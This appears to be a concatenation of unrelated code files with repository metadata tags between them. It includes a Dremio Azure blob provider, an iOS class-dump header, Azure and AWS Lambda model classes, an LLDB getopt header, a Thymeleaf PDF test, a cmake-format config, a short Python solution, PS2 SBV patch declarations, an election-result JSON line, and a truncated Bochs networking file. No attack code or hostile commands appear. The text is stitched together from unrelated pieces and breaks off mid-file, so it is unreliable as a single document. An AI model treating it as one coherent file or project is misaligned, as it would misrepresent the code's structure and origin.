/* * Copyright (C) 2017-2019 Dremio Corporation * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.dremio.plugins.azure; import java.io.IOException; import java.net.URI; import java.net.URISyntaxException; import java.util.List; import java.util.stream.Stream; import java.util.stream.StreamSupport; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import com.dremio.common.exceptions.UserException; import com.dremio.plugins.util.ContainerFileSystem.ContainerCreator; import com.google.common.collect.ImmutableList; import com.microsoft.azure.storage.StorageCredentials; import com.microsoft.azure.storage.StorageCredentialsAccountAndKey; import com.microsoft.azure.storage.StorageException; import com.microsoft.azure.storage.blob.CloudBlobClient; /** * A ContainerProvider that leverages v8 Azure APIs to list Blob Containers */ class BlobContainerProvider implements ContainerProvider { private static final Logger logger = LoggerFactory.getLogger(BlobContainerProvider.class); private CloudBlobClient cloudBlobClient; private final AzureStorageFileSystem parent; private final URI connection; private final String account; private ImmutableList<String> containers = ImmutableList.of(); public BlobContainerProvider(AzureStorageFileSystem parent, String connection, String account, String key) throws IOException { this(parent, account, connection, new StorageCredentialsAccountAndKey(account, key), false, null); } public BlobContainerProvider(AzureStorageFileSystem parent, String connection, String account, String key, String[] containers) throws IOException { this(parent, account, connection, new StorageCredentialsAccountAndKey(account, key), false, containers); } protected BlobContainerProvider(AzureStorageFileSystem parent, String account, String connection, StorageCredentials credentials, boolean useAzureAD, String[] containers) throws IOException { this.parent = parent; try { this.account = account; this.connection = new URI(connection); cloudBlobClient = new CloudBlobClient(this.connection, credentials); } catch (URISyntaxException e) { throw new IOException(e); } if(containers != null) { this.containers = ImmutableList.copyOf(containers); } } protected String getAccount() { return this.account; } protected URI getConnection() { return this.connection; } protected void setCloudBlobClient(CloudBlobClient cloudBlobClient) { this.cloudBlobClient = cloudBlobClient; } @Override public Stream<ContainerCreator> getContainerCreators() throws IOException { if(containers.isEmpty()) { return StreamSupport .stream(cloudBlobClient.listContainers().spliterator(), false) .map(c -> new AzureStorageFileSystem.ContainerCreatorImpl(parent, c.getName())); } else { return containers.stream() .map(c -> new AzureStorageFileSystem.ContainerCreatorImpl(parent, c)); } } public void verfiyContainersExist() { List<String> list = containers.asList(); for(String c : list) { try { logger.debug("Exists validation for whitelisted azure container " + account + ":" + c); assertContainerExists(c); } catch (AzureStoragePluginException e) { throw UserException.validationError() .message(String.format("Failure while validating existence of container %s. Error %s", c, e.getCause().getMessage())) .build(); } } } @Override public void assertContainerExists(final String containerName) { boolean exists; try { exists = cloudBlobClient.getContainerReference(containerName).exists(); } catch (StorageException e) { throw new AzureStoragePluginException(String.format("Error occurred %s while checking for existence of container %s", e.getMessage(), containerName)); } catch (URISyntaxException e) { throw new RuntimeException(String.format("Error response %s while checking for existence of container %s", e.getMessage(), containerName)); } if(!exists) { throw new AzureStoragePluginException((String.format("Unable to find container %s", containerName))); } } }
1,434
678
<reponame>bzxy/cydia /** * This header is generated by class-dump-z 0.2b. * * Source: /System/Library/PrivateFrameworks/GeoServices.framework/GeoServices */ #import <GeoServices/NSURLConnectionDelegate.h> #import <GeoServices/GEOSupportedTileSetsServerProxy.h> #import <GeoServices/XXUnknownSuperclass.h> @class NSMutableData, NSURLConnection, NSString; @protocol GEOSupportedTileSetsServerProxyDelegate; @interface GEOSupportedTileSetsServerLocalProxy : XXUnknownSuperclass <GEOSupportedTileSetsServerProxy, NSURLConnectionDelegate> { id<GEOSupportedTileSetsServerProxyDelegate> _delegate; // 4 = 0x4 NSURLConnection *_connection; // 8 = 0x8 NSMutableData *_responseData; // 12 = 0xc NSString *_responseETag; // 16 = 0x10 } @property(assign, nonatomic) id<GEOSupportedTileSetsServerProxyDelegate> delegate; // G=0x31695; S=0x316a5; @synthesize=_delegate // declared property setter: - (void)setDelegate:(id)delegate; // 0x316a5 // declared property getter: - (id)delegate; // 0x31695 - (void)connection:(id)connection didFailWithError:(id)error; // 0x31665 - (void)connectionDidFinishLoading:(id)connection; // 0x31475 - (void)connection:(id)connection didReceiveData:(id)data; // 0x31431 - (void)connection:(id)connection didReceiveResponse:(id)response; // 0x311ed - (void)updateAttributionBadgeDataHiDPI:(BOOL)dpi isIPad:(BOOL)pad handler:(id)handler; // 0x30f2d - (void)loadAttributionBadgeDataHiDPI:(BOOL)dpi isIPad:(BOOL)pad handler:(id)handler; // 0x30ecd - (void)_writeDocumentToDisk:(id)disk; // 0x30e11 - (void)_connectionDidFail; // 0x30dc9 - (void)_cleanupConnection; // 0x30d5d - (void)_cancelConnection; // 0x30d21 - (void)updateDocument; // 0x30b8d - (id)documentDataFromDisk; // 0x30b61 - (id)documentURL; // 0x30b15 - (void)dealloc; // 0x30ad5 @end
679
1,350
<filename>sdk/videoanalyzer/azure-media-videoanalyzer-edge/src/main/java/com/azure/media/videoanalyzer/edge/models/VideoEncoding.java // Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License. // Code generated by Microsoft (R) AutoRest Code Generator. package com.azure.media.videoanalyzer.edge.models; import com.azure.core.util.ExpandableStringEnum; import com.fasterxml.jackson.annotation.JsonCreator; import java.util.Collection; /** Defines values for VideoEncoding. */ public final class VideoEncoding extends ExpandableStringEnum<VideoEncoding> { /** Static value JPEG for VideoEncoding. */ public static final VideoEncoding JPEG = fromString("JPEG"); /** Static value H264 for VideoEncoding. */ public static final VideoEncoding H264 = fromString("H264"); /** Static value MPEG4 for VideoEncoding. */ public static final VideoEncoding MPEG4 = fromString("MPEG4"); /** * Creates or finds a VideoEncoding from its string representation. * * @param name a name to look for. * @return the corresponding VideoEncoding. */ @JsonCreator public static VideoEncoding fromString(String name) { return fromString(name, VideoEncoding.class); } /** @return known VideoEncoding values. */ public static Collection<VideoEncoding> values() { return values(VideoEncoding.class); } }
447
434
<gh_stars>100-1000 package com.amazonaws.services.lambda.runtime.events; import java.io.Serializable; import java.util.List; import java.util.Map; import java.util.Objects; /** * @author <NAME> <<EMAIL>> */ public class APIGatewayV2WebSocketEvent implements Serializable, Cloneable { private static final long serialVersionUID = 5695319264103347099L; public static class RequestIdentity implements Serializable, Cloneable { private static final long serialVersionUID = -3276649362684921217L; private String cognitoIdentityPoolId; private String accountId; private String cognitoIdentityId; private String caller; private String apiKey; private String sourceIp; private String cognitoAuthenticationType; private String cognitoAuthenticationProvider; private String userArn; private String userAgent; private String user; private String accessKey; public String getCognitoIdentityPoolId() { return cognitoIdentityPoolId; } public void setCognitoIdentityPoolId(String cognitoIdentityPoolId) { this.cognitoIdentityPoolId = cognitoIdentityPoolId; } public String getAccountId() { return accountId; } public void setAccountId(String accountId) { this.accountId = accountId; } public String getCognitoIdentityId() { return cognitoIdentityId; } public void setCognitoIdentityId(String cognitoIdentityId) { this.cognitoIdentityId = cognitoIdentityId; } public String getCaller() { return caller; } public void setCaller(String caller) { this.caller = caller; } public String getApiKey() { return apiKey; } public void setApiKey(String apiKey) { this.apiKey = apiKey; } public String getSourceIp() { return sourceIp; } public void setSourceIp(String sourceIp) { this.sourceIp = sourceIp; } public String getCognitoAuthenticationType() { return cognitoAuthenticationType; } public void setCognitoAuthenticationType(String cognitoAuthenticationType) { this.cognitoAuthenticationType = cognitoAuthenticationType; } public String getCognitoAuthenticationProvider() { return cognitoAuthenticationProvider; } public void setCognitoAuthenticationProvider(String cognitoAuthenticationProvider) { this.cognitoAuthenticationProvider = cognitoAuthenticationProvider; } public String getUserArn() { return userArn; } public void setUserArn(String userArn) { this.userArn = userArn; } public String getUserAgent() { return userAgent; } public void setUserAgent(String userAgent) { this.userAgent = userAgent; } public String getUser() { return user; } public void setUser(String user) { this.user = user; } public String getAccessKey() { return accessKey; } public void setAccessKey(String accessKey) { this.accessKey = accessKey; } @Override public int hashCode() { int hash = 7; hash = 29 * hash + (this.cognitoIdentityPoolId != null ? this.cognitoIdentityPoolId.hashCode() : 0); hash = 29 * hash + (this.accountId != null ? this.accountId.hashCode() : 0); hash = 29 * hash + (this.cognitoIdentityId != null ? this.cognitoIdentityId.hashCode() : 0); hash = 29 * hash + (this.caller != null ? this.caller.hashCode() : 0); hash = 29 * hash + (this.apiKey != null ? this.apiKey.hashCode() : 0); hash = 29 * hash + (this.sourceIp != null ? this.sourceIp.hashCode() : 0); hash = 29 * hash + (this.cognitoAuthenticationType != null ? this.cognitoAuthenticationType.hashCode() : 0); hash = 29 * hash + (this.cognitoAuthenticationProvider != null ? this.cognitoAuthenticationProvider.hashCode() : 0); hash = 29 * hash + (this.userArn != null ? this.userArn.hashCode() : 0); hash = 29 * hash + (this.userAgent != null ? this.userAgent.hashCode() : 0); hash = 29 * hash + (this.user != null ? this.user.hashCode() : 0); hash = 29 * hash + (this.accessKey != null ? this.accessKey.hashCode() : 0); return hash; } @Override public boolean equals(Object obj) { if (this == obj) { return true; } if (obj == null) { return false; } if (getClass() != obj.getClass()) { return false; } final RequestIdentity other = (RequestIdentity) obj; if ((this.cognitoIdentityPoolId == null) ? (other.cognitoIdentityPoolId != null) : !this.cognitoIdentityPoolId.equals(other.cognitoIdentityPoolId)) { return false; } if ((this.accountId == null) ? (other.accountId != null) : !this.accountId.equals(other.accountId)) { return false; } if ((this.cognitoIdentityId == null) ? (other.cognitoIdentityId != null) : !this.cognitoIdentityId.equals(other.cognitoIdentityId)) { return false; } if ((this.caller == null) ? (other.caller != null) : !this.caller.equals(other.caller)) { return false; } if ((this.apiKey == null) ? (other.apiKey != null) : !this.apiKey.equals(other.apiKey)) { return false; } if ((this.sourceIp == null) ? (other.sourceIp != null) : !this.sourceIp.equals(other.sourceIp)) { return false; } if ((this.cognitoAuthenticationType == null) ? (other.cognitoAuthenticationType != null) : !this.cognitoAuthenticationType.equals(other.cognitoAuthenticationType)) { return false; } if ((this.cognitoAuthenticationProvider == null) ? (other.cognitoAuthenticationProvider != null) : !this.cognitoAuthenticationProvider.equals(other.cognitoAuthenticationProvider)) { return false; } if ((this.userArn == null) ? (other.userArn != null) : !this.userArn.equals(other.userArn)) { return false; } if ((this.userAgent == null) ? (other.userAgent != null) : !this.userAgent.equals(other.userAgent)) { return false; } if ((this.user == null) ? (other.user != null) : !this.user.equals(other.user)) { return false; } if ((this.accessKey == null) ? (other.accessKey != null) : !this.accessKey.equals(other.accessKey)) { return false; } return true; } @Override public String toString() { return "{cognitoIdentityPoolId=" + cognitoIdentityPoolId + ", accountId=" + accountId + ", cognitoIdentityId=" + cognitoIdentityId + ", caller=" + caller + ", apiKey=" + apiKey + ", sourceIp=" + sourceIp + ", cognitoAuthenticationType=" + cognitoAuthenticationType + ", cognitoAuthenticationProvider=" + cognitoAuthenticationProvider + ", userArn=" + userArn + ", userAgent=" + userAgent + ", user=" + user + ", accessKey=" + accessKey + "}"; } } public static class RequestContext implements Serializable, Cloneable { private static final long serialVersionUID = -6641935365992304860L; private String accountId; private String resourceId; private String stage; private String requestId; private RequestIdentity identity; private String ResourcePath; private Map<String, Object> authorizer; private String httpMethod; private String apiId; private long connectedAt; private String connectionId; private String domainName; private String error; private String eventType; private String extendedRequestId; private String integrationLatency; private String messageDirection; private String messageId; private String requestTime; private long requestTimeEpoch; private String routeKey; private String status; public String getAccountId() { return accountId; } public void setAccountId(String accountId) { this.accountId = accountId; } public String getResourceId() { return resourceId; } public void setResourceId(String resourceId) { this.resourceId = resourceId; } public String getStage() { return stage; } public void setStage(String stage) { this.stage = stage; } public String getRequestId() { return requestId; } public void setRequestId(String requestId) { this.requestId = requestId; } public RequestIdentity getIdentity() { return identity; } public void setIdentity(RequestIdentity identity) { this.identity = identity; } public String getResourcePath() { return ResourcePath; } public void setResourcePath(String ResourcePath) { this.ResourcePath = ResourcePath; } public Map<String, Object> getAuthorizer() { return authorizer; } public void setAuthorizer(Map<String, Object> authorizer) { this.authorizer = authorizer; } public String getHttpMethod() { return httpMethod; } public void setHttpMethod(String httpMethod) { this.httpMethod = httpMethod; } public String getApiId() { return apiId; } public void setApiId(String apiId) { this.apiId = apiId; } public long getConnectedAt() { return connectedAt; } public void setConnectedAt(long connectedAt) { this.connectedAt = connectedAt; } public String getConnectionId() { return connectionId; } public void setConnectionId(String connectionId) { this.connectionId = connectionId; } public String getDomainName() { return domainName; } public void setDomainName(String domainName) { this.domainName = domainName; } public String getError() { return error; } public void setError(String error) { this.error = error; } public String getEventType() { return eventType; } public void setEventType(String eventType) { this.eventType = eventType; } public String getExtendedRequestId() { return extendedRequestId; } public void setExtendedRequestId(String extendedRequestId) { this.extendedRequestId = extendedRequestId; } public String getIntegrationLatency() { return integrationLatency; } public void setIntegrationLatency(String integrationLatency) { this.integrationLatency = integrationLatency; } public String getMessageDirection() { return messageDirection; } public void setMessageDirection(String messageDirection) { this.messageDirection = messageDirection; } public String getMessageId() { return messageId; } public void setMessageId(String messageId) { this.messageId = messageId; } public String getRequestTime() { return requestTime; } public void setRequestTime(String requestTime) { this.requestTime = requestTime; } public long getRequestTimeEpoch() { return requestTimeEpoch; } public void setRequestTimeEpoch(long requestTimeEpoch) { this.requestTimeEpoch = requestTimeEpoch; } public String getRouteKey() { return routeKey; } public void setRouteKey(String routeKey) { this.routeKey = routeKey; } public String getStatus() { return status; } public void setStatus(String status) { this.status = status; } @Override public int hashCode() { int hash = 3; hash = 59 * hash + (this.accountId != null ? this.accountId.hashCode() : 0); hash = 59 * hash + (this.resourceId != null ? this.resourceId.hashCode() : 0); hash = 59 * hash + (this.stage != null ? this.stage.hashCode() : 0); hash = 59 * hash + (this.requestId != null ? this.requestId.hashCode() : 0); hash = 59 * hash + (this.identity != null ? this.identity.hashCode() : 0); hash = 59 * hash + (this.ResourcePath != null ? this.ResourcePath.hashCode() : 0); hash = 59 * hash + (this.authorizer != null ? this.authorizer.hashCode() : 0); hash = 59 * hash + (this.httpMethod != null ? this.httpMethod.hashCode() : 0); hash = 59 * hash + (this.apiId != null ? this.apiId.hashCode() : 0); hash = 59 * hash + (int) (this.connectedAt ^ (this.connectedAt >>> 32)); hash = 59 * hash + (this.connectionId != null ? this.connectionId.hashCode() : 0); hash = 59 * hash + (this.domainName != null ? this.domainName.hashCode() : 0); hash = 59 * hash + (this.error != null ? this.error.hashCode() : 0); hash = 59 * hash + (this.eventType != null ? this.eventType.hashCode() : 0); hash = 59 * hash + (this.extendedRequestId != null ? this.extendedRequestId.hashCode() : 0); hash = 59 * hash + (this.integrationLatency != null ? this.integrationLatency.hashCode() : 0); hash = 59 * hash + (this.messageDirection != null ? this.messageDirection.hashCode() : 0); hash = 59 * hash + (this.messageId != null ? this.messageId.hashCode() : 0); hash = 59 * hash + (this.requestTime != null ? this.requestTime.hashCode() : 0); hash = 59 * hash + (int) (this.requestTimeEpoch ^ (this.requestTimeEpoch >>> 32)); hash = 59 * hash + (this.routeKey != null ? this.routeKey.hashCode() : 0); hash = 59 * hash + (this.status != null ? this.status.hashCode() : 0); return hash; } @Override public String toString() { return "{accountId=" + accountId + ", resourceId=" + resourceId + ", stage=" + stage + ", requestId=" + requestId + ", identity=" + identity + ", ResourcePath=" + ResourcePath + ", authorizer=" + authorizer + ", httpMethod=" + httpMethod + ", apiId=" + apiId + ", connectedAt=" + connectedAt + ", connectionId=" + connectionId + ", domainName=" + domainName + ", error=" + error + ", eventType=" + eventType + ", extendedRequestId=" + extendedRequestId + ", integrationLatency=" + integrationLatency + ", messageDirection=" + messageDirection + ", messageId=" + messageId + ", requestTime=" + requestTime + ", requestTimeEpoch=" + requestTimeEpoch + ", routeKey=" + routeKey + ", status=" + status + "}"; } @Override public boolean equals(Object obj) { if (this == obj) { return true; } if (obj == null) { return false; } if (getClass() != obj.getClass()) { return false; } final RequestContext other = (RequestContext) obj; if (this.connectedAt != other.connectedAt) { return false; } if (this.requestTimeEpoch != other.requestTimeEpoch) { return false; } if ((this.accountId == null) ? (other.accountId != null) : !this.accountId.equals(other.accountId)) { return false; } if ((this.resourceId == null) ? (other.resourceId != null) : !this.resourceId.equals(other.resourceId)) { return false; } if ((this.stage == null) ? (other.stage != null) : !this.stage.equals(other.stage)) { return false; } if ((this.requestId == null) ? (other.requestId != null) : !this.requestId.equals(other.requestId)) { return false; } if ((this.ResourcePath == null) ? (other.ResourcePath != null) : !this.ResourcePath.equals(other.ResourcePath)) { return false; } if ((this.authorizer == null) ? (other.authorizer != null) : !this.authorizer.equals(other.authorizer)) { return false; } if ((this.httpMethod == null) ? (other.httpMethod != null) : !this.httpMethod.equals(other.httpMethod)) { return false; } if ((this.apiId == null) ? (other.apiId != null) : !this.apiId.equals(other.apiId)) { return false; } if ((this.connectionId == null) ? (other.connectionId != null) : !this.connectionId.equals(other.connectionId)) { return false; } if ((this.domainName == null) ? (other.domainName != null) : !this.domainName.equals(other.domainName)) { return false; } if ((this.error == null) ? (other.error != null) : !this.error.equals(other.error)) { return false; } if ((this.eventType == null) ? (other.eventType != null) : !this.eventType.equals(other.eventType)) { return false; } if ((this.extendedRequestId == null) ? (other.extendedRequestId != null) : !this.extendedRequestId.equals(other.extendedRequestId)) { return false; } if ((this.integrationLatency == null) ? (other.integrationLatency != null) : !this.integrationLatency.equals(other.integrationLatency)) { return false; } if ((this.messageDirection == null) ? (other.messageDirection != null) : !this.messageDirection.equals(other.messageDirection)) { return false; } if ((this.messageId == null) ? (other.messageId != null) : !this.messageId.equals(other.messageId)) { return false; } if ((this.requestTime == null) ? (other.requestTime != null) : !this.requestTime.equals(other.requestTime)) { return false; } if ((this.routeKey == null) ? (other.routeKey != null) : !this.routeKey.equals(other.routeKey)) { return false; } if ((this.status == null) ? (other.status != null) : !this.status.equals(other.status)) { return false; } if (this.identity != other.identity && (this.identity == null || !this.identity.equals(other.identity))) { return false; } return true; } } private String resource; private String path; private String httpMethod; private Map<String, String> headers; private Map<String, List<String>> multiValueHeaders; private Map<String, String> queryStringParameters; private Map<String, List<String>> multiValueQueryStringParameters; private Map<String, String> pathParameters; private Map<String, String> stageVariables; private RequestContext requestContext; private String body; private boolean isBase64Encoded = false; public String getResource() { return resource; } public void setResource(String resource) { this.resource = resource; } public String getPath() { return path; } public void setPath(String path) { this.path = path; } public String getHttpMethod() { return httpMethod; } public void setHttpMethod(String httpMethod) { this.httpMethod = httpMethod; } public Map<String, String> getHeaders() { return headers; } public void setHeaders(Map<String, String> headers) { this.headers = headers; } public Map<String, List<String>> getMultiValueHeaders() { return multiValueHeaders; } public void setMultiValueHeaders(Map<String, List<String>> multiValueHeaders) { this.multiValueHeaders = multiValueHeaders; } public Map<String, String> getQueryStringParameters() { return queryStringParameters; } public void setQueryStringParameters(Map<String, String> queryStringParameters) { this.queryStringParameters = queryStringParameters; } public Map<String, List<String>> getMultiValueQueryStringParameters() { return multiValueQueryStringParameters; } public void setMultiValueQueryStringParameters(Map<String, List<String>> multiValueQueryStringParameters) { this.multiValueQueryStringParameters = multiValueQueryStringParameters; } public Map<String, String> getPathParameters() { return pathParameters; } public void setPathParameters(Map<String, String> pathParameters) { this.pathParameters = pathParameters; } public Map<String, String> getStageVariables() { return stageVariables; } public void setStageVariables(Map<String, String> stageVariables) { this.stageVariables = stageVariables; } public RequestContext getRequestContext() { return requestContext; } public void setRequestContext(RequestContext requestContext) { this.requestContext = requestContext; } public String getBody() { return body; } public void setBody(String body) { this.body = body; } public boolean isIsBase64Encoded() { return isBase64Encoded; } public void setIsBase64Encoded(boolean isBase64Encoded) { this.isBase64Encoded = isBase64Encoded; } @Override public boolean equals(Object o) { if (this == o) return true; if (o == null || getClass() != o.getClass()) return false; APIGatewayV2WebSocketEvent that = (APIGatewayV2WebSocketEvent) o; if (isBase64Encoded != that.isBase64Encoded) return false; if (resource != null ? !resource.equals(that.resource) : that.resource != null) return false; if (path != null ? !path.equals(that.path) : that.path != null) return false; if (httpMethod != null ? !httpMethod.equals(that.httpMethod) : that.httpMethod != null) return false; if (headers != null ? !headers.equals(that.headers) : that.headers != null) return false; if (multiValueHeaders != null ? !multiValueHeaders.equals(that.multiValueHeaders) : that.multiValueHeaders != null) return false; if (queryStringParameters != null ? !queryStringParameters.equals(that.queryStringParameters) : that.queryStringParameters != null) return false; if (multiValueQueryStringParameters != null ? !multiValueQueryStringParameters.equals(that.multiValueQueryStringParameters) : that.multiValueQueryStringParameters != null) return false; if (pathParameters != null ? !pathParameters.equals(that.pathParameters) : that.pathParameters != null) return false; if (stageVariables != null ? !stageVariables.equals(that.stageVariables) : that.stageVariables != null) return false; if (requestContext != null ? !requestContext.equals(that.requestContext) : that.requestContext != null) return false; return body != null ? body.equals(that.body) : that.body == null; } @Override public int hashCode() { int result = resource != null ? resource.hashCode() : 0; result = 31 * result + (path != null ? path.hashCode() : 0); result = 31 * result + (httpMethod != null ? httpMethod.hashCode() : 0); result = 31 * result + (headers != null ? headers.hashCode() : 0); result = 31 * result + (multiValueHeaders != null ? multiValueHeaders.hashCode() : 0); result = 31 * result + (queryStringParameters != null ? queryStringParameters.hashCode() : 0); result = 31 * result + (multiValueQueryStringParameters != null ? multiValueQueryStringParameters.hashCode() : 0); result = 31 * result + (pathParameters != null ? pathParameters.hashCode() : 0); result = 31 * result + (stageVariables != null ? stageVariables.hashCode() : 0); result = 31 * result + (requestContext != null ? requestContext.hashCode() : 0); result = 31 * result + (body != null ? body.hashCode() : 0); result = 31 * result + (isBase64Encoded ? 1 : 0); return result; } @Override public String toString() { final StringBuilder sb = new StringBuilder("APIGatewayV2WebSocketEvent{"); sb.append("resource='").append(resource).append('\''); sb.append(", path='").append(path).append('\''); sb.append(", httpMethod='").append(httpMethod).append('\''); sb.append(", headers=").append(headers); sb.append(", multiValueHeaders=").append(multiValueHeaders); sb.append(", queryStringParameters=").append(queryStringParameters); sb.append(", multiValueQueryStringParameters=").append(multiValueQueryStringParameters); sb.append(", pathParameters=").append(pathParameters); sb.append(", stageVariables=").append(stageVariables); sb.append(", requestContext=").append(requestContext); sb.append(", body='").append(body).append('\''); sb.append(", isBase64Encoded=").append(isBase64Encoded); sb.append('}'); return sb.toString(); } }
8,789
2,338
//===-- GetOptInc.h ---------------------------------------------*- C++ -*-===// // // Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions. // See https://llvm.org/LICENSE.txt for license information. // SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception // //===----------------------------------------------------------------------===// #ifndef LLDB_HOST_COMMON_GETOPTINC_H #define LLDB_HOST_COMMON_GETOPTINC_H #include "lldb/lldb-defines.h" #if defined(_MSC_VER) #define REPLACE_GETOPT #define REPLACE_GETOPT_LONG #endif #if defined(_MSC_VER) || defined(__NetBSD__) #define REPLACE_GETOPT_LONG_ONLY #endif #if defined(REPLACE_GETOPT) // from getopt.h #define no_argument 0 #define required_argument 1 #define optional_argument 2 // option structure struct option { const char *name; // has_arg can't be an enum because some compilers complain about type // mismatches in all the code that assumes it is an int. int has_arg; int *flag; int val; }; int getopt(int argc, char *const argv[], const char *optstring); // from getopt.h extern char *optarg; extern int optind; extern int opterr; extern int optopt; // defined in unistd.h extern int optreset; #else #include <getopt.h> #include <unistd.h> #endif #if defined(REPLACE_GETOPT_LONG) int getopt_long(int argc, char *const *argv, const char *optstring, const struct option *longopts, int *longindex); #endif #if defined(REPLACE_GETOPT_LONG_ONLY) int getopt_long_only(int argc, char *const *argv, const char *optstring, const struct option *longopts, int *longindex); #endif #endif // LLDB_HOST_COMMON_GETOPTINC_H
611
32,544
package com.baeldung.pdfthymeleaf; import com.lowagie.text.DocumentException; import org.junit.Test; import org.thymeleaf.TemplateEngine; import org.thymeleaf.context.Context; import org.thymeleaf.templatemode.TemplateMode; import org.thymeleaf.templateresolver.ClassLoaderTemplateResolver; import org.xhtmlrenderer.pdf.ITextRenderer; import java.io.ByteArrayOutputStream; import java.io.IOException; import static org.junit.Assert.assertTrue; public class PDFThymeleafUnitTest { @Test public void givenThymeleafTemplate_whenParsedAndRenderedToPDF_thenItShouldNotBeEmpty() throws DocumentException, IOException { String html = parseThymeleafTemplate(); ByteArrayOutputStream outputStream = generatePdfOutputStreamFromHtml(html); assertTrue(outputStream.size() > 0); } private ByteArrayOutputStream generatePdfOutputStreamFromHtml(String html) throws IOException, DocumentException { ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); ITextRenderer renderer = new ITextRenderer(); renderer.setDocumentFromString(html); renderer.layout(); renderer.createPDF(outputStream); outputStream.close(); return outputStream; } private String parseThymeleafTemplate() { ClassLoaderTemplateResolver templateResolver = new ClassLoaderTemplateResolver(); templateResolver.setSuffix(".html"); templateResolver.setTemplateMode(TemplateMode.HTML); TemplateEngine templateEngine = new TemplateEngine(); templateEngine.setTemplateResolver(templateResolver); Context context = new Context(); context.setVariable("to", "Baeldung.com"); return templateEngine.process("thymeleaf_template", context); } }
602
2,151
# Configuration for cmake-format (v0.4.1, circa Jul 2018) # https://github.com/cheshirekow/cmake_format # How wide to allow formatted cmake files line_width = 132 # How many spaces to tab for indent tab_size = 4 # If arglists are longer than this, break them always max_subargs_per_line = 3 # If true, separate flow control names from their parentheses with a space separate_ctrl_name_with_space = False # If true, separate function names from parentheses with a space separate_fn_name_with_space = False # If a statement is wrapped to more than one line, than dangle the closing # parenthesis on it's own line dangle_parens = False # What character to use for bulleted lists bullet_char = u'*' # What character to use as punctuation after numerals in an enumerated list enum_char = u'.' # What style line endings to use in the output. line_ending = u'unix' # Format command names consistently as 'lower' or 'upper' case command_case = u'lower'
282
388
<gh_stars>100-1000 ''' Speed: 77.11% Memory: 82.57% Time Complexity: O(n) ''' class Solution: def getRow(self, k: int) -> List[int]: res = [1]*(k+1) #res[0]=1 for i in range(1,k): for j in range(i,0,-1): res[j]+=res[j-1] return res
171
606
/* # _____ ___ ____ ___ ____ # ____| | ____| | | |____| # | ___| |____ ___| ____| | \ PS2DEV Open Source Project. #----------------------------------------------------------------------- # Copyright (c) 2003 <NAME> <<EMAIL>> # Licenced under Academic Free License version 2.0 # Review ps2sdk README & LICENSE files for further details. */ /** * @file * SBV patches. */ #ifndef __SBV_PATCHES_H__ #define __SBV_PATCHES_H__ #ifdef __cplusplus extern "C" { #endif /** * @return 0: success, none-zero: error * * The rom0:LOADFILE RPC service is missing support for LoadModuleBuffer, * making it impossible (by default) to IOP load modules from EE RAM. * Newer LOADFILE modules do not have this limitation. * Unlike the official patch, this version is not dependent on 0x01e00000-0x01e80000. */ int sbv_patch_enable_lmb(void); /** * @return 0: success, none-zero: error * * The MODLOAD module has a black/white (depends on version) list that determines what devices * can have unprotected EE/IOP executables loaded from. Typically, only protected executables * can be loaded from user-writable media like the memory card or HDD unit. * This patch will disable the black/white list, allowing executables to be freely loaded from any device. */ int sbv_patch_disable_prefix_check(void); /** * @start address above which all user memory is cleared * @return 0: success, -1: error * * LoadExecPS2() wipes all user-space memory above 0x82000. With this patch, * you can define a different start address to prevent your data from being * overwritten. In order to completely disable the memory clear, simply pass * 0x02000000 to it. */ int sbv_patch_user_mem_clear(void *start); /** * @return 0: success, none-zero: error * * The rom0:FILEIO RPC service has several glitches, which either result in stability issues or faulty behaviour: * 1. Interrupts are not disabled when sceSifSetDma is invoked for getstat() and dread(), * which could allow simultaneous access into sceSifSetDma (a critical region). * 2. The RPC dispatcher code for remove() has a missing break, resulting in mkdir() being called after remove() returns. */ int sbv_patch_fileio(void); #ifdef __cplusplus } #endif #endif /* __SBV_PATCHES_H__ */
711
348
{"nom":"<NAME>","circ":"3ème circonscription","dpt":"Loir-et-Cher","inscrits":173,"abs":98,"votants":75,"blancs":3,"nuls":0,"exp":72,"res":[{"nuance":"UDI","nom":"<NAME>","voix":51},{"nuance":"REM","nom":"<NAME>","voix":21}]}
94
445
<reponame>bavison/opensmalltalk-vm ///////////////////////////////////////////////////////////////////////// // $Id: eth_arpback.cc,v 1.19 2008/01/26 22:24:01 sshwarts Exp $ ///////////////////////////////////////////////////////////////////////// // // Copyright (C) 2001 MandrakeSoft S.A. // // MandrakeSoft S.A. // 43, rue d'Aboukir // 75002 Paris - France // http://www.linux-mandrake.com/ // http://www.mandrakesoft.com/ // // This library is free software; you can redistribute it and/or // modify it under the terms of the GNU Lesser General Public // License as published by the Free Software Foundation; either // version 2 of the License, or (at your option) any later version. // // This library is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU // Lesser General Public License for more details. // // You should have received a copy of the GNU Lesser General Public // License along with this library; if not, write to the Free Software // Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA // eth_arpback.cc - basic ethernet packetmover, only responds to ARP // Various networking docs: // http://www.graphcomp.com/info/rfc/ // rfc0826: arp // rfc0903: rarp // Define BX_PLUGGABLE in files that can be compiled into plugins. For // platforms that require a special tag on exported symbols, BX_PLUGGABLE // is used to know when we are exporting symbols and when we are importing. #define BX_PLUGGABLE #define NO_DEVICE_INCLUDES #include "iodev.h" #if BX_NETWORKING && defined(ETH_ARPBACK) #include "eth.h" #include "crc32.h" #include "eth_packetmaker.h" #define LOG_THIS bx_devices.pluginNE2kDevice-> //static const Bit8u external_mac[]={0xB0, 0xC4, 0x20, 0x20, 0x00, 0x00, 0x00}; //static const Bit8u internal_mac[]={0xB0, 0xC4, 0x20, 0x00, 0x00, 0x00, 0x00}; //static const Bit8u external_ip[]={ 192, 168, 0, 2, 0x00 }; //static const Bit8u ethtype_arp[]={0x08, 0x06, 0x00}; // // Define the class. This is private to this module // class bx_arpback_pktmover_c : public eth_pktmover_c { public: bx_arpback_pktmover_c(const char *netif, const char *macaddr, eth_rx_handler_t rxh, void *rxarg); void sendpkt(void *buf, unsigned io_len); private: int rx_timer_index; static 